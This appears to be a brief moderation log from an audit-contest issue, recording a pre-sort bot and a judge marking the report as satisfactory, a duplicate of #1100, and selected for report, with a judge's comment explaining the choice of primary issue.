0xSorryNotSorry marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-01-03T16:52:34Z
0xSorryNotSorry marked the issue as duplicate of #1100
#2 - c4-judge
2024-01-29T22:04:59Z
Trumpero marked the issue as satisfactory
#3 - c4-judge
2024-01-29T22:08:54Z
Trumpero marked the issue as selected for report
#4 - Trumpero
2024-02-01T15:35:51Z
I chose this to be primary issue because its context is clear and sufficient. Additionally, #1100 contains redundant context (a different issue) mistakenly, so it shouldn't be a primary issue